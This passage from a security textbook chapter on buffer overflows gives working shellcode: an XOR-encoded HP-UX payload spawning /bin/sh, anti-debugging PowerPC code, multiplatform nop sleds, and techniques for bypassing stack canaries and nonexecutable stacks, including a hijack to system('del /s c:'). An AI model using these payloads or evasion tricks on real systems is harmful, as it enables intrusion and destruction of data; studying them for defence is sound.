(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x00003230 in main ()

(gdb) disas

Dump of assembler code for function main:

0x3230 <main>:  b,l 0x3234 <main+4>,r26

We hit the break point. You can see the output of the disas shows the
b,l instruction. We run the command stepi to step forward one instruc-
tion. We then look at register 26:

(gdb) stepi

0x00003234 in main ()

(gdb) info reg

flags:         39000041          sr5:          6246c00   

r1:          eecf800          sr6:          8a88800   

rp:             31db          sr7:                0   

r3:         7b03a000          cr0:                0   

r4:                1          cr8:                0   
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r5:         7b03a1e4          cr9:                0   

r6:         7b03a1ec          ccr:                0   

r7:         7b03a2b8         cr12:                0   

r8:         7b03a2b8         cr13:                0   

r9:         400093c8         cr24:                0   

r10:         4001c8b0         cr25:                0   

r11:                0         cr26:                0   

r12:                0   mpsfu_high:                0   

r13:                2    mpsfu_low:                0   

r14:                0   mpsfu_ovfl:                0   

r15:              20c          pad: ccab73e4ccab73e4   

r16:           270230         fpsr:                0   

r17:                0         fpe1:                0   

r18:              20c         fpe2:                0   

r19:         40001000         fpe3:                0   

r20:                0         fpe4:                0   

r21:         7b03a2f8         fpe5:                0   

r22:                0         fpe6:                0   

r23:              1bb         fpe7:                0   

r24:         7b03a1ec          fr4:                0   

r25:         7b03a1e4         fr4R:                0   

r26:             323b          fr5:         40000000   

dp:         40001110         fr5R:         1fffffff   

ret0:                0          fr6:         40000000   

ret1:          2cb6880         fr6R:         1fffffff

We can see that register 26 (r26) is set to 0x323B—the address immediately
following our current location. In this way, we can discover and store our
current location.

Self-Decrypting Payload on HPUX

Our last example for the HPUX–PA-RISC platform is a simple “self-
decrypting payload.” Our example actually only uses XOR encoding, so
it’s not really using encryption, only encoding. However, it won’t take much
modification for you to add a real cryptographic algorithm or to increase
the complexity of the XOR cipher. Figure 7–22 illustrates the basic concept.
To use this example in the field, you need to remove the nop instruction and
replace it with something that does not contain NULL characters. The
advantage of encoding the payload is that you can write code without
worrying about NULL bytes. You can also keep prying eyes from dropping
your payload directly into IDA-Pro.
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Our sample payload looks like this:

.SPACE $TEXT$

.SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44

.align 4

.EXPORT main,ENTRY,PRIV_LEV=3,ARGW0=GR,ARGW1=GR

main

bl      shellcode, %r1

nop

.SUBSPA $DATA$

.EXPORT shellcode

shellcode

bl      .+4, %r26

xor     %r25, %r25, %r25        ; init to zero

xor     %r23, %r23, %r23

xor     %r24, %r24, %r24

addi,<  0x2D, %r26, %r26        ; calc to xor'd shell code

addi,<  7*4+8, %r23, %r23       ; length of xor'd code block and data portion

addi,<  0x69, %r24, %r24        ; byte to XOR the block with

start   

ldo     1(%r25), %r25           ; increment loop ctr

ldbs    0(%r26), %r24           ; load byte into r24

xor     %r24, %r23, %r24        ; xor byte w/ r23 constant

stbs    %r24, 0(%r26)           ; store back

ldo     1(%r26), %r26           ; increment byte ptr

cmpb,<,N        %r25,%r23,start ; see if we have finished looping

nop

; THIS IS WHERE XOR'D CODE BEGINS

;bl     .+4, %r26

;xor    %r25, %r25, %r25

;addi,< 0x11, %r26, %r26

;stbs   %r0, 7(%r26)            ; paste a NULL byte after string

;ldil   L%0xC0000004, %r1

;ble    R%0xC0000004( %sr7, %r1 ) ;make syscall

;addi,> 0x0B, %r0, %r22

;SHELL

;.STRING "/bin/shA"

.STRING "\xCF\x7B\x3B\xD9"

.STRING "\x2F\x1D\x26\xBD"
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.STRING "\x93\x7E\x64\x06"

.STRING "\x2B\x64\x36\x2A"

.STRING "\x04\x04\x2C\x25"

.STRING "\xC0\x04\xC4\x2C"

.STRING "\x90\x32\x54\x32"

.STRING "\x0B\x46\x4D\x4A\x0B\x57\x4C\x65"

The decoded part of the payload is commonly used shell code that
launches /bin/sh:

bl     .+4, %r26

xor    %r25, %r25, %r25

addi,< 0x11, %r26, %r26

stbs   %r0, 7(%r26)            ; paste a NULL byte after string

ldil   L%0xC0000004, %r1

ble    R%0xC0000004( %sr7, %r1 ) ;make syscall

addi,> 0x0B, %r0, %r22

.STRING "/bin/shA"
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AIX/PowerPC Payload Construction

The PowerPC/AIX platform is also a RISC architecture. Like most of the
chips we have examined, this processor can run in either big- or little-endian
mode. Instructions are also 32 bits wide.

Thankfully the PowerPC on AIX is a bit easier than it’s HPUX cousin.
The stack grows down and local buffers grow toward the saved return ad-
dress. (Thank goodness! That HPUX machine was enough for one chapter.)

Getting Bearings

To locate your position in memory is simple enough. Perform a branch for-
ward one instruction and then use the “move from link register” (mflr)
instruction to get your current position. The code looks something like this:

.shellcode:

xor 20,20,20

bnel .shellcode

mflr 31

The assembly is written for gcc. The XOR operation causes the branch
instruction never to be taken. The instruction branch if not equal and link
(bnel) does not branch, but the link is made nonetheless. The current in-
struction pointer is saved into the link register (lr). The next instruction
mflr saves the value from the link register into register 31. And fortunately,
these opcodes do not contain NULL bytes. The actual opcodes are

0x7e94a278

0x4082fffd

0x7fe802a6

Active Armor for the PowerPC Shell Code

We now take the AIX/PowerPC shell code one more step. Our shell code
will include instructions to detect a debugger. If a debugger is found, the
code will corrupt itself so that a reverse engineer cannot trivially crack
the code. Our example is very simple but it makes a very specific point.
Shell code can be armored not only with encryption and self-modification,
but also with hostile strike-back if a reversing attempt is made. For ex-
ample, shell code could detect that it’s being debugged and branch to a
routine that wipes the hard drive.
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.shellcode:

xor 20,20,20

bnel .shellcode

mflr 31

.A:   lwz  4,8(31)

.B:   stw 31,-4(1)

…

.C:   andi. 4, 4, 0xFFFF

.D:   cmpli 0, 4, 0xFFFC

.E:   beql .coast_is_clear

.F:   addi 1, 1, 66

…

.coast_is_clear:

mr 31,1

…

This example does not make an attempt to avoid NULL characters. We
could fix this problem by creating more complicated strings of instructions
that arrive at the same result (removal instructions are described later). The
other option is to embed raw tricks like these in an encoded part of the
payload (see our self-decrypting HP/UX shell code).

This shell code gets its bearings into register 31. The next instruction
(labeled A) loads memory into register 4. This load instruction loads the
opcode that is being stored for the instruction at label B. In other words, it’s
loading the opcode for the next instruction. If someone is single stepping the
code in a debugger, this operation will be corrupted. The original opcode
will not be loaded. Instead, an opcode to trigger a debug break will be read.
The reason is simple—when single stepping, the debugger is actually
embedding a break instruction just ahead of our current location.

Later in execution, at the point labeled C, the saved opcode is masked so
that only the lower 2 bytes are left. The instruction at label D compares this
with the expected 2 bytes. If the 2 bytes do not match the expected value,
the code adds 66 to the stack pointer (label F) to corrupt it. Otherwise the
code branches to the label coast_is_clear. Obviously this kind of thing
could be more complicated, but corrupting the stack pointer will be enough
to crash the code and throw most dogs off the scent.
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Removing the NULL Characters

In this example we show how to remove the NULL characters from our
active armor. Every instruction that calculates an offset from the current
location (such as branch and load instructions) usually needs a negative
offset. In the active armor presented earlier we have an ldw instruction that
calculates which address to read from the base stored in register 31. To
remove the NULL we want to subtract from the base. To do this we must
first add enough to the base so that the offset will be negative. We see in
main+12 and main+16 that we are using zero-free opcodes to add a large
number to r31, and then we XOR the result to obtain the value 0x0015 in
register 20. We then add r20 to r31. By using an ldw with a –1 offset at this
point, we read the instruction as main+28:

0x10000258 <main>:      xor     r20,r20,r20

0x1000025c <main+4>:    bnel+   0x10000258 <main>

0x10000260 <main+8>:    mflr    r31

0x10000264 <main+12>:   addi    r20,r20,0x6673    ; 0x0015 xor encoded w/ 0x6666

0x10000268 <main+16>:   xori    r20,r20,0x6666    ; xor decode the register

0x1000026c <main+20>:   add     r31,r31,r20       ; add 0x15 to r31

0x10000270 <main+24>:   lwz     r4,-1(r31)        ; get opcode at r31-1 

; (original r31 + 0x14)

The resulting opcodes are

0x7e94a278

0x4082fffd

0x7fe802a6

0x3a946673

0x6a946666

0x7fffa214

0x809fffff

Tricks such as these are easy to come by, and a little time in the debugger
will help you create all kinds of zero-free code combinations that work.

Multiplatform Payloads

A more sophisticated payload can be designed to work on multiple hard-
ware platforms. This is useful if you expect to be using the payload in a
heterogeneous environment. The downside to this approach is that a pay-
load will have code specific to each platform, something that necessarily
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increases the size. Because of size restrictions, a multiplatform payload will
usually be limited in scope, doing something such as throwing an interrupt
to halt the system or something equally easy.

As an example, assume that there are four different operating environ-
ments in a strike zone. Three of the systems are older HP9000 systems. The
other system is newer and based on an Intel x86 platform. Each system
takes a slightly different injection vector, but you want to use the same pay-
load for all of them. You need a payload that will shut down both the HP
systems and the Intel system.

Consider the machine language for HP and Intel systems. If we design a
payload that will branch on one system, and continue past the branch on
another system, we can split the payload into two sections, as shown in
Figure 7–23.

The cross-platform code must either branch or continue forward, de-
pending on the platform. For the HP9000 system, the following code is a
conditional branch that only jumps two words ahead. On an Intel platform,
the following code is a jmp that jumps 64 bytes ahead. These 4 bytes are
thus useful for the multiplatform branch we are after.

Consider another example in which the target machines are using MIPS
and Intel platforms. The following bytes will provide a cross-platform
header for a MIPS/Intel combination:

On the Intel, the first word, 0x240F, is treated as a single harmless
instruction:

and         al,0Fh

24 0F 73 50

EB 40 C0 02
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Platform-Specific Code

Platform-Specific Code

Cross-Platform Header Code

Figure 7–23 Building a payload for two target
platforms at once.
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The second word, 0x7350, is treated as a jmp by Intel, jumping 80 bytes
ahead. We can begin our Intel-specific shell code at 80 bytes offset. For the
MIPS processor, on the other hand, the entire 4 bytes are consumed as a
harmless li instruction:

li register[15], 0x1750

Thus, the MIPS shell code can begin immediately after the cross-platform
header. These are good tricks to know for multiplatform exploits.

Multiplatform nop Sled

When using nop sleds, we must choose a sled that works for both platforms.
The actual nop instruction (0x90) for x86 chips translates to a harmless in-
struction on the HP. Thus, a standard nop sled works for both platforms.
On the MIPS, because we are dealing with 32-bit instructions, we have to be
a bit more clever. The cross-platform nop sled for x86 and MIPS could be a
variation of the following code bytes:

This set loads register 15 on a MIPS repeatedly with 0x9090, but translates
to a harmless add followed by two nops on an Intel. Clearly, cross-platform
nop sleds are not that hard to design either.

Prolog/Epilog Code to Protect Functions

Several years ago system architects including Crispin Cowan and others
tried to solve the problem of buffer overflows by adding code to watch the
program stack. Many implementations of this idea use prolog/epilog func-
tions. A number of compilers have an option that allows a specific function
to be called before every function call. This was typically used for debug
purposes, such as profiling code. A clever use of this feature, however, was
to make a function that would watch the stack and make sure that all other
functions were behaving properly.

Unfortunately, buffer overflows have many unanticipated results. An
overflow causes memory corruption and memory is the key that makes a
program run the way it does. This ultimately means that any amount of
additional code meant to protect a program from itself is meaningless. Plac-
ing barriers and tricks into a program only further obfuscates the methods

24 0F 90 90
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required to break the software, but do nothing to obviate such methods.
(See Chapter 2 for a discussion of how this went wrong for Microsoft.)

One could argue that such techniques lower the risk of a fault. On the
other hand, one could argue that such techniques create a false sense of
security because there will always be an attacker who can find a way in.
Buffer overflows, if they yield control of a pointer, can be used to overwrite
other function pointers and even directly alter code (recall our trampolining
technique). Another possibility is that an overflow will alter some critical
structure in memory. As we have shown, values in memory structures con-
trol access permissions and system call parameters. Altering any of these
data can result in a security breach, and little can be done dynamically to
stop such exploits.

Defeating Canary Values (aka StackGuard)

A well-known trick to defeat stack overflows is to place a value called a
canary value on the stack. This was invented by Crispin Cowan. If someone
tries to overflow the stack, they end up overwriting the canary. If the canary
is killed, then the program is considered in violation and it is immediately
terminated. Overall, the idea was very clever. The problem with trying to
guard a stack is that, in essence, buffer overflows are not a stack problem.
Buffer overflows depend on pointers but pointers can live in the heap, on the
stack, in tables, or in file headers. Buffer overflows are really about getting
control of a pointer. Sure, it’s nice to get direct control of the instruction
pointer, which is easy via the stack. But, if a canary value is in the way of
this, a different path can and will be taken. The fact is that buffer overflows
are solved by writing better code, not by adding additional security bells and
whistles to the program. With legacy systems in abundance, however, post-
development solutions like this provide definite value.

In Figure 7–25 we can see that if we overflow a local variable we end up
stomping on the canary value. This defeats our attack. If we cannot run our
buffer past the canary value, then this leaves only other local variables and
the frame pointer for us to control. The good news is that control of any
pointer, regardless of where it is, is enough to leverage into a decent exploit.

Consider a function with several local variables. At least one of the local
variables is a pointer. If we can overflow the local pointer variable, we may
have something.

As we can see in Figure 7–26, if we overflow buffer B, it can alter the
value in pointer A. With control of the pointer, we are only part way there.
The next question is how the pointer we just changed is used by the code?
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If it’s a function pointer, we’re done. The function will be called sometime,
and if we alter the address, it will call our code.

Another possibility is that the pointer is used for data (more likely). If
another local variable holds the source data for the pointer operation, we
might be able to overwrite arbitrary data over any address in the program
space. This can be used to defeat the canary, take control of the return ad-
dress, or alter function pointers elsewhere in the program. To defeat the
canary, we would set pointer A to point to the stack, and set the source buf-
fer to the address we want to place on the stack (Figure 7–27).

Overwriting the return address without altering the canary value is a
standard technique (Figure 7–28).

The idea of altering pointers other than the return address holds a great
deal of merit. This idea is used in heap-based overflows and the exploitation
of C++ objects. Consider a structure that holds function pointers. Structures
of function pointers exist everywhere in a system. Using our previous ex-
ample, we can point to one of these structures and overwrite an address
there. We can then point one of these back into our buffer. If the function
gets called and our buffer is still around, we will have obtained control (see
Figure 7–29).

362 Chapter 7 Buffer Overflow

Function Arguments

Return Address

Canary Value

Frame Pointer

Local Variables Grow Up

Local Variable: Buffer A

Local Variable: Pointer A

Local Variable: Buffer B

Figure 7–25 A canary-protected stack. The canary is
“killed” when local variables grow up toward the
targeted return address.

Figure 7–26 A pointer in the local variables area above
our target buffer can be used to “trampoline.” Any
function pointer will do.
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Local Variable: Buffer A

Local Variable: Pointer A

Local Variable: Buffer B

Function Arguments

Return Address

Canary Value

Frame Pointer

Local Variable: Buffer A

Local Variable: Pointer A

Local Variable: Buffer B

Figure 7–27 “Trampolining” back into the
stack.

Figure 7–28 Trampolining over the poor,
hopeless canary.

Local Variable: Buffer A

Local Variable: Pointer A

Local Variable: Buffer B

Function Pointer A

Function Pointer B

Function Pointer C

Figure 7–29 Using a C++ technique to trampoline. First we jump out,
then we jump back in.
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Of course, the real problem with this technique is making sure our buf-
fer is still around. Many programs use jump tables for any library function
calls. If the subroutine that you are overflowing contains library calls, then
these make a natural choice. Overwrite the function pointers for any library
calls that are used after the overflow operation, but before the subroutine
returns.

Defeating Nonexecutable Stacks

We have shown that there are many ways to get code to execute on the
stack. But what happens if the stack is nonexecutable?

There are options in the hardware and OS environment that control
what memory can be used for code (that is, for data that run). If the stack
cannot be used for code, we may be temporarily set back, but we are left
with lots of other options. To get control of the system we don’t have to
inject code, we could settle for something less dramatic. There are a multi-
tude of data structures and function calls that, if under our control, we
could use to leverage control of the system. Consider the following code:

void debug_log(const char *untrusted_input_data)

{

char *_p = new char[8];

// pointer lives above _t

char _t[24];

strcpy(_t, untrusted_input_data);

// _t overwrites _p

memcpy(_p, &_t[10], 8);

//_t[10] has the new address we are overwriting over puts()

_t[10]=0;

char _log[255];

sprintf(_log, "%s - %d", &_t[0], &_p[4]);

// we control the first 10 characters of _log

fnDebugDispatch (_log);

// we have the address of fnDebugDispatch () changed to address of system()

// which calls a shell...

...

This example performs a few unsafe buffer operations along with a
pointer. We can control the value of _p by overflowing _t. The target of our
exploit is the fnDebugDispatch() call. The call takes a single buffer as a
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parameter and, as it happens, we control the first ten characters of this buf-
fer. The assembly code that performs this call looks like this:

24:       fnDebugDispatch(_log);

004010A6 8B F4                mov         esi,esp

004010A8 8D 85 E4 FE FF FF    lea         eax,[ebp-11Ch]

004010AE 50                   push        eax

004010AF FF 15 8C 51 41 00    call        dword ptr [__imp_?fnDebugDispatch@@YAHPAD@Z 

(00415150)]

The code calls the function address stored at location 0x00415150. The
memory looks like this:

00415150  F0 B7 23 10 00 00 00 00 00 00 00 00 00 00 00  2·#............
0041515F  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ...............

0041516E  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .

If we alter the address that is stored there, we can make the code call a
different function. The function address that is currently stored in memory
is 0x1023B7F0 (this looks like it is written backward in the memory dump).

There are always many functions loaded into a program space. The
function we are using takes a single buffer parameter. It so happens that
another function, system(), also takes a single buffer parameter. What
would happen if we changed the function pointer to point to system()? We
would, in effect, have a system call completely under our control. In our
example program, the system() function lives at address 0x1022B138.
All we need to do is overwrite the memory at 0x00415150 with the address
0x1022B138. Thus, we have created our own call to system() with a
parameter we control.

Alternatively, if we don’t want to alter the memory at 0x00415150, we
can take another approach. The original code for fnDebugDispatch(),
as we can see, lives at 0x1023B7F0. If we look at the code at this location,
we see

@ILT+15(?fnDebugDispatch@@YAHPAD@Z):

10001014 E9 97 00 00 00       jmp         fnDebugDispatch (100010b0)

The program is itself using a jump table. If we alter the jump instruction, we
can cause the jmp to target system() instead. The current jump goes to
fnDebugDispatch (0x100010b0). We want it to go to system(0x1022B138).
The opcodes for the jump are currently e9 97 00 00 00. If we alter the
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opcodes to e9 1F A1 22 00, we now have a jmp that will take us to
system(). The end result is that we can run a command like

system("del /s c:");

In conclusion, a buffer overflow is really a deadly problem. Simple hacks
to fix it can be avoided with some amount of extra work. Buffer overflows
can be used to alter code, change function pointers, and corrupt critical data
structures.

Conclusion

Although buffer overflows have been discussed widely, and published tech-
nical work exists for many platforms, much remains to be said about buffer
overflows. This chapter introduces a number of techniques that are useful in
exploiting software. Overall, we find that corrupting memory remains the
single most powerful technique for the attacker. Perhaps stack overflows
will vanish someday when programmers quit using the (seriously broken)
libc string calls. This will by no means completely solve the problem,
however.

Other common but trickier methods for memory corruption have been
discussed here, such as the off-by-one and heap overflows. As a discipline,
computer science has had more than 20 years to get memory handling right,
yet code is still vulnerable to these simple problems. In fact, it is very likely
that programmers will be getting these kinds of things wrong for the next
20 years.

Every day brings the potential of discovering a new and previously un-
anticipated technique for exploiting memory. For the rest of our lives we are
likely to see embedded systems fall prey to these same problems you just
learned about here. We predict that the core of any offensive IW platform
will be based on memory exploits like the ones in this chapter.
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